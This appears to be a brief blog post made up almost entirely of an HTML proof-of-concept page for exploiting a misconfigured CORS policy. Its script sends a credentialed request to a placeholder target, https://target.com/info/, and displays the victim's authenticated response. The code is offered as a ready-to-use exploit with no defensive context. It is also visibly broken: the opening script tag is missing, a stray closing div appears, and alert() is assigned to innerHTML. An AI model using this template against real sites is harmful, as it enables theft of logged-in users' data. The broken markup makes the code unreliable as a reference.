Exploiting CORS (Cross Origin Resource Sharing)

Exploiting CORS (Cross Origin Resource Sharing)

Exploit Code-

<!DOCTYPE html>

<html>

<head>

function cors() {

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

document.getElementById("emo").innerHTML = alert(this.responseText);

}

};

xhttp.open("GET", "https://target.com/info/", true);

xhttp.withCredentials = true;

xhttp.send();

}

</script>

</head>

<body>

<h2>CORS PoC Exploit </h2>

<h3>created by <a href="https://neetech18.blogspot.com/">CORS Team</a></h3>

<h3>Show full content of page</h3>

<button type="button" onclick="cors()">Exploit</button>

</div>

</body>

</html>

POC-

neetech18